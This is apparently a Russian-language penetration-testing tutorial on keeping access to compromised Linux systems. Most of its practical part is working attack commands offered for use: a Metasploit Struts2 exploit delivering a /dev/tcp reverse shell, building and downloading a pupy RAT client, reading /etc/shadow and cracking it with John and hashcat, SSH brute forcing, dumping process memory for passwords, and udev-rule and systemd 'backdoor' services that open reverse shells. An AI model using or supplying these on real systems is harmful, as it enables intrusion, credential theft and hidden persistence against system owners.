Закрепление доступа


Общая информация и практика

Определения

Закрепление доступа — это набор методов, которые атакующие используют для сохранения доступа к системам после
перезагрузки, изменения учетных данных и других изменений, которые могли бы прервать их доступ.

Backdoor (англ. Тайная дверь) — Backdoor - это скрытый способ доступа к системе, приложению или устройству, который обычно используется для обхода стандартных механизмов аутентификации и безопасности.

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge)   - матрица для описания тактик, техник и процедур, которые могут использоваться киберпреступниками для осуществления кибератак на организации и компании. MITRE ATT&CK описывает более 200 тактик и приемов, которые могут использоваться киберпреступниками на разных этапах кибератаки: от получения доступа к сети до уничтожения данных и скрытия следов своей деятельности.

Обратный shell - тип консоли, соединяющейся с сервером и предоставляющей доступ к своей консоли.

Bind shell - консоль, запущенная на некотором порту.

Дополнительно

Методики privesc:

Полезные инструменты и техники:

Алгоритм закрепления доступа

Процесс: 

Стартовые условия Действия Результат

Рабочая уязвимость

Поднять сервер приема соединений

Эксплуатировать уязвимость на атакуемом сервере для запуска соединения

Обратный shell

Нужные данные в зависимости от способа закрепления (Тип целевой системы, ...)

Создание сервера для обработки соединений

Создание / использование существующего скрипта/эксплоита

Эксплоит

Обратный shell

Эксплоит

Метод в соответствии со способом закрепления

Устойчивый контроль

Способы закрепления доступа:

Обратный shell

Генерация команд для получения обратной консоли

Ресурс https://www.revshells.com/ позволяет генерировать команды для исполнения на скомпроментированной системе и на нашей системе для получения обратного соединения. В разделе IP & port указывается адрес системы, к которой скомпроментированная система будет подключаться. 

image.png

В разделе Listener генерируется команда, которую нужно исполнить на нашей системе для получения обратного соединения. Здесь можно выбрать приложение, установленное на нашей системе.

image.png

Затем слева устанавливаем тип скомпроментированной системы, интерпретатор (есть и python, php, ...), тип консоли, кодирование и получаем готовую строку для запуска на скомпроментированной системе. Думаю этому инструменту стоит посвятить отдельную страницу.

image.png

Эту строку добавляем как параметр к нагрузке. 

Запускаем тестовый стенд уязвимого приложения.

Запускаем на 189 сервер 

nc -lvnp 9004

Эксплуатация базовой уязвимости

$ msfconsole
msf6> use exploit/multi/http/struts2_code_exec_showcase
msf6> set RHOSTS 192.168.1.192
msf6> set TARGETURI /integration/saveGangster.action
msf6> set PAYLOAD cmd/unix/generic
msf6> set CMD 'sh -i >& /dev/tcp/192.168.1.189/9004 0>&1'
msf6> exploit

Теперь в консоли с nc мы увидим shell удаленной системы.

Создание нагрузки в pupy.

Из 4 перечисленных способов закрепления доступа попробуем 3 вариант.

Remote admin toolkit (RAT). Рассмотрим pupy. Python реализация, полностью в оперативной памяти. Вот только уже дохлый проект.

 Запускаем контейнер pupy RAT server. 

docker run -d --rm -v /tmp/projects:/projects -p 2022:22 -p 8443:8443 --name pupy alxchk/pupy:unstable

Создаем ssh ключ для взаимодействия с RAT сервером. 

ssh-keygen 
#все значения по умолчанию, в конце будет имя ключа

Копируем созданный ключ в директорию ключей pupy 

cp ~/.ssh/id_ed25519.pub /tmp/projects/keys/authorized_keys

Подключаемся к pupy 

ssh -i ~/.ssh/id_rsa -p 2022 pupy@127.0.0.1

Генерируем клиента. 

gen -f client -O linux -A x64 connect --host 192.168.1.189:8443

Клиент сохранился по адресу [+] OUTPUT_PATH: /projects/default/output/pupyx64.yLcu40.lin

Для простой передачи на запускаем http сервер из этой директории 

cd /tmp/projects/default/output/
python3 -m http.server 3000

и из обратного shell скачиваем 

wget http://192.168.1.189:3000/pupyx64.yLcu40.lin

Делаем исполняемым файл и запускаем 

chmod +x pupy*
./pupy*

Теперь в консоли pupy можно увидеть сессию 

>> sessions
id  user  hostname      platform  release              os_arch  proc_arch  intgty_lvl  address        
------------------------------------------------------------------------------------------------------
1   root  186cff64fb1e  Linux     6.12.43+deb13-amd64  x86_64   64bit      High        192.168.1.192  

Создание нагрузки в MSF

Msfvenom

Отдельная утилита создания шифрованной нагрузки. Параметры:

-a Архитектура. Например -a x86
--platform Платформа. Например --platform windows 
-p Нагрузка -p windows/meterpreter/reverce_tcp
LHOST=,LPORT= LHOST=192.168.1.15
-e Обфускатор. -e x86/shikata_ga_nai
-f Формат выходного файла -f exe
-o  Место сохранения файла -o /root/test/updater.exe

Команда для запуска сервера обратных соединений: 

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.15; set LPORT 8080; run; exit -y"

Получение легитимного доступа

Получение легитимного доступа - доступ к системе без изменений системы, используя существующие учетные данные и способы доступа к системе.

Плюсы Минусы
  • Наименее заметный, так как в систему не вносится никаких изменений.
  • Может предоставлять доступ достаточно долго, если компрометация системы не обнаружена.
  • При компрометации обычно меняют пароли и ключи доступа.
  • Лучше совмещать его с другими подходами, так как при обнаружении использования инвазивных методов закрепления теряется и данный способ закрепления.
  • Учетные данные могут быть изменены по воле оператора системы.

Способы получения легитимного доступа к системе:

Восстановление паролей из хэшей

JohnTheRipper 

$ sudo cp /etc/shadow /tmp/shadow
$ sudo unshadow /etc/passwd /tmp/shadow > /tmp/unshadowed
$ john /tmp/unshadowed

Hashcat

Поддерживает MD5, SHA1, SHA256, bcrypt и т.д. Пример взлома MD5: 

hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Параметры

-m 0 алгоритм хеширования MD5
-a 0 атака перебора
hash.txt файл с хешами паролей
/usr/share/wordlists/rockyou.txt используемый словарь для перебора паролей

Радужная таблица

Специальный вариант таблиц поиска для обращения криптографических хеш-функций, использующий механизм разумного компромисса между временем поиска по таблице и занимаемой памятью. Предварительно вычисляются радужные таблицы, которые затем используются для быстрого нахождения паролей, соответствующих хэшам. Подробнее тут.

Онлайн-сервисы

Подробнее

Подбор паролей методом перебора

Минус состоит в необходимости предустановить инструмент на машину для обеспечения большей скорости обращений, что с высокой долей вероятности будет заметно командой реагирования и отразится в журналах аудита.

Можно использовать nmap, patator или hydra, ... Лучше в виде портативных файлов для вашей версии ОС. Пример для patator:

patator ssh_login host=192.168.0.1 user=admin password=FILE0 0=/путь/к/файлу_с_паролями.txt -x ignore:fgrep='Permission denied'

Пример для nmap: 

nmap --script ssh-brute --script-args userdb=usernames.txt,passdb=passwords.txt <target>

--script ssh-brute – указывает использование скрипта для перебора паролей ssh.
--script-args userdb=usernames.txt,passdb=passwords.txt – указывает на файлы, содержащие список пользователей и паролей соответственно.
<target> – целевой IP-адрес или диапазон адресов.
Прекомпилированный бинарный файл nmap тут.

Восстановление паролей и ключей из памяти процессов

В Linux сложнее чем в Windows. 

Mimipenguin

Перехват паролей из памяти процессов на Linux-системе. Обычно используется для получения паролей, введенных пользователем в терминал, например, паролей от системы или приложений. После запуска Mimipenguin начнет мониторить процессы в системе и попытается извлечь пароли из памяти процессов. Пароли отображаются в терминале.

image.png

truffleproc

Инструмент для перехвата паролей из памяти любых процессов работающих в системе Linux, который ищет пароли и ключи API в процессах по регулярным выражениям выполняя выгрузку памяти процесса и анализируя ее. Ссылка на инструмент

Ручной способ 

Нужно найти процесс аутентификации:

# ps -ef | grep "authenticator"
> root 2027 2025 0 11:46 ? 00:00:00 authenticator

Сделать дамп процесса (например, memory-dump) и поискать учетные данные в памяти: 

# ./dump-memory.sh 2027
# strings *.dump | grep -i

Прочие подобные утилиты:

3snake – перехват паролей ssh, sudo и su (experimental)
SSHPry2.0 – перехват данных в терминале
Gimmecredz – дамп паролей в памяти (на основе bash)

 

 

Внесение изменений в легитимные механизмы доступа

Вносят минимальные изменения, используя существующие механизмы аутентификации, но добавляя в них новые сущности и условия.

Плюсы Минусы
  • Простой, может использоваться для быстрого продвижения по сети.
  • Легко модифицируется для меньшей заметности изменений в системе.
  • Крайне заметный в связи с  аудитом изменений учетных записей в ОС или в домене
  • Не гарантирует закрепления в системе, так как администратор может изменить учетные данные .

Примеры действий:

 

 

Внесение изменений в сервисы и внешние программы в ОС

Изменения конфигурации или программного кода постоянно работающих в ОС сервисов и доступных для взаимодействия с пользователями извне.

Плюсы Минусы
  • Достаточно скрытный, т.к. логирование изменений в сервисах происходит на общем уровне внесения изменений в файловую систему, что сложнее заметить команде реагирования.
  • На доступность не влияет изменение учетных данных, прав доступа пользователей ОС.
  • Заложенные backdoor’ы в программный код сервисов могут быть обнаружены только профессионалами, понимающими природу возникновения уязвимостей.
  • Также одним из способов закрепления может быть обнаружение прочих уязвимостей сервиса без внесения в него изменений.
  • При откате версии кода сервиса к последней стабильной, доступ теряется. 
  • Заметен, если в ОС стоит аудит внесения изменения в файловую систему и в файлы конфигурации.

Примеры:

Внесение изменений в ядро ОС и в предустановленные службы на нем

Самые продвинутые и, зачастую самые надежные подходы по закреплению доступа, - это серия методов, позволяющих проникать глубоко в ядро ОС и изменять стандартные службы удаленного доступа, аутентификации, обработки событий и пр.

Плюсы Минусы
  • Некоторые из методов почти невозможно обнаружить при использовании стандартных средств анализа ОС, только используя глубокий анализ дампа памяти ОС (существуют методы, которые скрывают свое наличие при входе на сервер администратора и потом возвращают свое присутствие).
  • Такие методы зачастую могут действовать даже после обновления ОС, и, в частных случаях, даже после переустановки ОС.
  • Реализовать такой метод без действий, которые могут быть замечены в ходе выполнения, может быть непросто.
  • Высокая сложность реализации таких методов, а также сложность их отладки.
  • Разница в версии ОС или дистрибутиве может быть критически важной для выбора метода закрепления из этой категории.

Rootkit

Вид вредоносного программного обеспечения, которое скрывает свою присутствие на компьютере или другом
устройстве, изменяя функциональность операционной системы и скрывая свои следы от пользователей и системных программ.

TripleCross - Linux eBPF-руткит с открытым исходным кодом по технологии eBPF*.

eBPF (Extended Berkeley Packet Filter) - технология ядра Linux, расширяющая функциональность стандартного фильтра Berkeley Packet Filter (BPF) для обработки пакетов и мониторинга событий в ядре.

Работа eBPF осуществляется через специальное виртуальное машинное окружение (VM), которое запускается внутри ядра Linux.Оно позволяет загружать и исполнять программы на языке C, которые могут обрабатывать пакеты на уровне ядра, принимать решения о пересылке или отбрасывании пакетов, создавать и мониторить события в ядре и многое другое.

Remote Admin Tool

Похоже на RootKit, но менее скрытная. Утилиты RAT (Remote Access Tool) — это программные инструменты, которые позволяют удаленно управлять компьютером или устройством без ведома пользователя. RAT-утилиты могут быть использованы для различных целей, в том числе для управления компьютером из удаленного места, сбора конфиденциальной информации, мониторинга активности пользователя и т.д.


Внедрение бэкдоров аутентификации на основе PAM

PAM (Pluggable Authentication Modules, подключаемые модули аутентификации) — разделяемые библиотеки, используемые для
реализации произвольных методов аутентификации в виде единого API. Внедрение вредоносного модуля позволяет добавить
мастер-пароль и перехватить учетные данные. Пример бэкдора: https://github.com/ociredefz/pambd/

Внедрение бэкдоров в драйверы

Для запуска бэкдора при подключении какого-либо устройства можно использовать каталог /etc/udev/rules.d/, в котором хранятся правила для обработки событий устройств. Изменяя эти правила, можно переименовать устройство, настроить права доступа к нему, но самое главное, что нас интересует — выполнить скрипт при подключении устройства.

RSHELL="0<&196;exec 196<>/dev/tcp/192.168.0.177/9001; sh <&196 >&196 2>&196"
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null

В таком случае при подключении к машине USB-устройства порт выполнится скрипт RSHELL для предоставления доступа вашей машине в сети.

Внедрение бекдоров в службы автозапуска (использование systemd)

systemd — это системный инициализатор и менеджер служб для операционных систем Linux. Он является заменой для более старой системы инициализации SysVinit и предоставляет целый набор функциональных возможностей для управления и контроля запуска служб и процессов в Linux-системе.

Systemd также имеет ряд дополнительных функций, включая событийную систему, журналирование и мониторинг процессов,
управление сетевыми интерфейсами и сетевыми соединениями, управление контейнерами и многие другие.

Пример создания сервиса:

[Unit]
Description=Backdoor
After=network.target ssh.service

[Service]
Type=simple
PIDFile=/var/run/backdoor.pid
ExecStart=sh -i >& /dev/tcp/192.168.0.177/9001 0>&1"
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

Расположить его в файле: 

/lib/systemd/system/backdoor.service

Запустить его командами:

sudo systemctl enable backdoor.service
sudo systemctl start backdoor.service